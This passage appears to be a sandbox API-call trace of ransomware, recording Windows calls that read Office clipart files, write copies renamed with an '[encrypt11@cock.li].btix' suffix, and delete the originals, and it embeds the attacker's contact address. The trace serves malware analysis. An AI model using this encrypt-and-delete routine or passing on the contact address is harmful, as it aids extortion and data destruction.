[0142.938] lstrlenW (lpString=".ppt") returned 4 [0142.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.938] lstrlenW (lpString=".zip") returned 4 [0142.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.938] lstrlenW (lpString=".rar") returned 4 [0142.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.938] lstrlenW (lpString=".bz2") returned 4 [0142.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.938] lstrlenW (lpString=".7z") returned 3 [0142.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.938] lstrlenW (lpString=".dbf") returned 4 [0142.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.938] lstrlenW (lpString=".1cd") returned 4 [0142.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.939] lstrlenW (lpString=".jpg") returned 4 [0142.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.939] lstrlenW (lpString=".doc") returned 4 [0142.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.939] lstrlenW (lpString=".docx") returned 5 [0142.939] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0142.939] lstrlenW (lpString=".pdf") returned 4 [0142.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.939] lstrlenW (lpString=".xls") returned 4 [0142.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.939] lstrlenW (lpString=".xlsx") returned 5 [0142.939] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0142.939] lstrlenW (lpString=".ppt") returned 4 [0142.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.939] lstrlenW (lpString=".zip") returned 4 [0142.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.939] lstrlenW (lpString=".rar") returned 4 [0142.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.939] lstrlenW (lpString=".bz2") returned 4 [0142.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.939] lstrlenW (lpString=".7z") returned 3 [0142.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.939] lstrlenW (lpString=".dbf") returned 4 [0142.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.940] lstrlenW (lpString=".1cd") returned 4 [0142.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0142.940] lstrlenW (lpString=".jpg") returned 4 [0142.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.940] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.940] lstrlenW (lpString="J0105320.WMF") returned 12 [0142.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0142.986] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=2020) returned 1 [0142.986] CloseHandle (hObject=0x560) returned 1 [0142.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0142.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0142.987] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.987] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0142.988] GetLastError () returned 0x0 [0142.988] ReadFile (in: hFile=0x560, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x7e4, lpOverlapped=0x0) returned 1 [0142.990] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x7f0, lpOverlapped=0x0) returned 1 [0142.990] ReadFile (in: hFile=0x560, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0142.991] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0142.991] SetEndOfFile (hFile=0x38c) returned 1 [0142.991] CloseHandle (hObject=0x38c) returned 1 [0142.991] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0142.991] SetEndOfFile (hFile=0x560) returned 1 [0142.993] CloseHandle (hObject=0x560) returned 1 [0142.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0142.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.995] lstrlenW (lpString=".doc") returned 4 [0142.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.995] lstrlenW (lpString=".docx") returned 5 [0142.996] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0142.996] lstrlenW (lpString=".pdf") returned 4 [0142.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString=".xls") returned 4 [0142.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.996] lstrlenW (lpString=".xlsx") returned 5 [0142.996] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0142.996] lstrlenW (lpString=".ppt") returned 4 [0142.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.996] lstrlenW (lpString=".zip") returned 4 [0142.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.996] lstrlenW (lpString=".rar") returned 4 [0142.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString=".bz2") returned 4 [0142.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString=".7z") returned 3 [0142.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.996] lstrlenW (lpString=".dbf") returned 4 [0142.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.996] lstrlenW (lpString=".1cd") returned 4 [0142.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.996] lstrlenW (lpString=".jpg") returned 4 [0142.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.996] lstrlenW (lpString=".doc") returned 4 [0142.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.996] lstrlenW (lpString=".docx") returned 5 [0142.997] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0142.997] lstrlenW (lpString=".pdf") returned 4 [0142.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.997] lstrlenW (lpString=".xls") returned 4 [0142.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.997] lstrlenW (lpString=".xlsx") returned 5 [0142.997] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0142.997] lstrlenW (lpString=".ppt") returned 4 [0142.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.997] lstrlenW (lpString=".zip") returned 4 [0142.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.997] lstrlenW (lpString=".rar") returned 4 [0142.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.997] lstrlenW (lpString=".bz2") returned 4 [0142.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.997] lstrlenW (lpString=".7z") returned 3 [0142.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.997] lstrlenW (lpString=".dbf") returned 4 [0142.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.997] lstrlenW (lpString=".1cd") returned 4 [0142.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0142.997] lstrlenW (lpString=".jpg") returned 4 [0142.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.998] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.998] lstrlenW (lpString="J0105328.WMF") returned 12 [0142.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0143.014] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=7992) returned 1 [0143.014] CloseHandle (hObject=0x560) returned 1 [0143.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 0x220 [0143.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0143.014] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.015] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.015] GetLastError () returned 0x0 [0143.016] ReadFile (in: hFile=0x560, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x1f38, lpOverlapped=0x0) returned 1 [0143.017] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1f40, lpOverlapped=0x0) returned 1 [0143.018] ReadFile (in: hFile=0x560, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0143.018] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0143.018] SetEndOfFile (hFile=0x38c) returned 1 [0143.018] CloseHandle (hObject=0x38c) returned 1 [0143.018] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.019] SetEndOfFile (hFile=0x560) returned 1 [0143.021] CloseHandle (hObject=0x560) returned 1 [0143.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0143.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.022] lstrlenW (lpString=".doc") returned 4 [0143.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.023] lstrlenW (lpString=".docx") returned 5 [0143.023] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0143.023] lstrlenW (lpString=".pdf") returned 4 [0143.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.023] lstrlenW (lpString=".xls") returned 4 [0143.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.023] lstrlenW (lpString=".xlsx") returned 5 [0143.023] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0143.023] lstrlenW (lpString=".ppt") returned 4 [0143.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.023] lstrlenW (lpString=".zip") returned 4 [0143.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.023] lstrlenW (lpString=".rar") returned 4 [0143.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.023] lstrlenW (lpString=".bz2") returned 4 [0143.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.023] lstrlenW (lpString=".7z") returned 3 [0143.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.023] lstrlenW (lpString=".dbf") returned 4 [0143.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.023] lstrlenW (lpString=".1cd") returned 4 [0143.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.023] lstrlenW (lpString=".jpg") returned 4 [0143.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.024] lstrlenW (lpString=".doc") returned 4 [0143.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString=".docx") returned 5 [0143.024] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0143.024] lstrlenW (lpString=".pdf") returned 4 [0143.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString=".xls") returned 4 [0143.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.024] lstrlenW (lpString=".xlsx") returned 5 [0143.024] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0143.024] lstrlenW (lpString=".ppt") returned 4 [0143.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.024] lstrlenW (lpString=".zip") returned 4 [0143.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.024] lstrlenW (lpString=".rar") returned 4 [0143.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString=".bz2") returned 4 [0143.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString=".7z") returned 3 [0143.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.024] lstrlenW (lpString=".dbf") returned 4 [0143.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.024] lstrlenW (lpString=".1cd") returned 4 [0143.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105328.WMF") returned 68 [0143.025] lstrlenW (lpString=".jpg") returned 4 [0143.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.025] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.025] lstrlenW (lpString="J0105332.WMF") returned 12 [0143.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0143.037] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=10508) returned 1 [0143.037] CloseHandle (hObject=0x560) returned 1 [0143.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0143.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0143.038] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.038] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0143.039] GetLastError () returned 0x0 [0143.039] ReadFile (in: hFile=0x560, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x290c, lpOverlapped=0x0) returned 1 [0143.043] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2910, lpOverlapped=0x0) returned 1 [0143.044] ReadFile (in: hFile=0x560, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0143.044] WriteFile (in: hFile=0x38c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0143.044] SetEndOfFile (hFile=0x38c) returned 1 [0143.044] CloseHandle (hObject=0x38c) returned 1 [0143.044] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0143.044] SetEndOfFile (hFile=0x560) returned 1 [0143.230] CloseHandle (hObject=0x560) returned 1 [0143.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0143.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.480] lstrlenW (lpString=".doc") returned 4 [0143.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.480] lstrlenW (lpString=".docx") returned 5 [0143.480] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0143.481] lstrlenW (lpString=".pdf") returned 4 [0143.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.481] lstrlenW (lpString=".xls") returned 4 [0143.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.481] lstrlenW (lpString=".xlsx") returned 5 [0143.481] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0143.481] lstrlenW (lpString=".ppt") returned 4 [0143.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0143.481] lstrlenW (lpString=".zip") returned 4 [0143.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.481] lstrlenW (lpString=".rar") returned 4 [0143.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.481] lstrlenW (lpString=".bz2") returned 4 [0143.481] lstrcmpiW (lpString1=".bz2", 